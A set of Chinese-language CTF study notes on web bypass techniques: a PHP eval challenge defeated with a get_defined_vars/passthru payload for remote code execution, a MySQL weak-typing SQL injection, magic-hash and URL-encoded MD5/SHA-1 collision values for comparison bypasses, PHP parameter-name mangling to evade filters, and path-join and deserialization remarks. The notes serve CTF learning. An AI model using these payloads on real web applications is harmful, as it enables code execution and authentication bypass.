参数逃逸

在靶场笔记第三章里提到过下面这种方法来绕过一些带有函数限制的waf

但这种方法有点局限,就是flag文件名必须中规中矩,而且一点也不适用于实战

所以我们可以对这种方法进行一点拓展,让他能够实现rce而不仅仅只是简单的读flag

这里以一道题为例

<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
        echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
        eval($code);
    }
    else{
        die("你想干什么?????????");
    }
}
else{
    echo "居然都不输入参数,可恶!!!!!!!!!";
    show_source(__FILE__);
}

首先题目并没有告诉你flag名字是什么,所以肯定是得rce。这里我们得用到一种类似靶场笔记第十三章中用到的方法

直接看payload

?1=passthru("ls");&code=eval(pos(pos(get_defined_vars())));

get_defined_vars函数可以接收来自其他任何自定义参数的传值,且不受题目中waf的影响

os.path.join

os.path.join(path, *paths) 函数用于将多个文件路径连接成一个组合的路径。第一个参数通常包含了基础路径,而之后的每个参数都被当做组件拼接到基础路径后

简单来说就是如果*paths参数所给的拼接路径是以/开头的,那么path所提供的路径就会被删除,将*paths提供的路径作为绝对路径进行访问

类似的python语言漏洞还有很多,可以参考这篇文章

_过滤

如果_在过滤清单里,可以用+代替

mysql特性

碰到一道奇怪的题,记录一下。先试了一下普通的sql注入,1’ or 1=1#,不行,看到wp在用'^0#,分号可以用于闭合,井号可以用于注释,^进行异或运算,等号就是判等,这里需要利用sql的一个点“mysql弱类型转换”,空异或0会查到所有非数字开头的记录

0e

在弱判断下,以0e开头的数字都为0。这点可以用来绕过相同md5值但是不同字符串的判断,这里给出几个实用的值

QLTHNDT
0e405967825401955372549139051580

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

数组绕过与string强转化

之前提过如果碰到类似下面这样的代码

是可以通过使a1与a2都为数组,从而绕过md5强判断的。但是如果完整代码变成了

此时如果array1和array2的传值是array1[]=1&array2=2,是没有办法绕过的。原因就是php的数组在进行string强制转换时,会将数组转换为NULL类型 null=null就成立了,没绕过去

所以我们需要一个,md5前不相等,而md5后全等的。这里记录几组不同加密方式的碰撞结果

md5:
array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

sha1:

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

php的传值变量

不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线。

例如,当代码中写到$_GET['r_e_d']的时候,在url传值时可用使用/?r+e+d=来代替。就能够躲过_的过滤

同时,php的这两种常用传值还有另外一个特性,就是当[提前出现后,后面的点就不会再被转义了,such as:`CTF[SHOW.COM`等价于`CTF_SHOW.COM`。就能够用来绕过一些特殊场景

parse_url函数解析漏洞

看这里

反序列化与_construct方法

众所周知,这个方法是在创建对象的时候会被调用的。同时,写反序列化链子的时候不仅可用给变量赋值,而且还能给这个方法写东西(是不是很神奇,emm其实是我还没有彻底摸透反序化原理的原因,可能等后面彻底理解透了会返回来改这条记录)。这是一个例子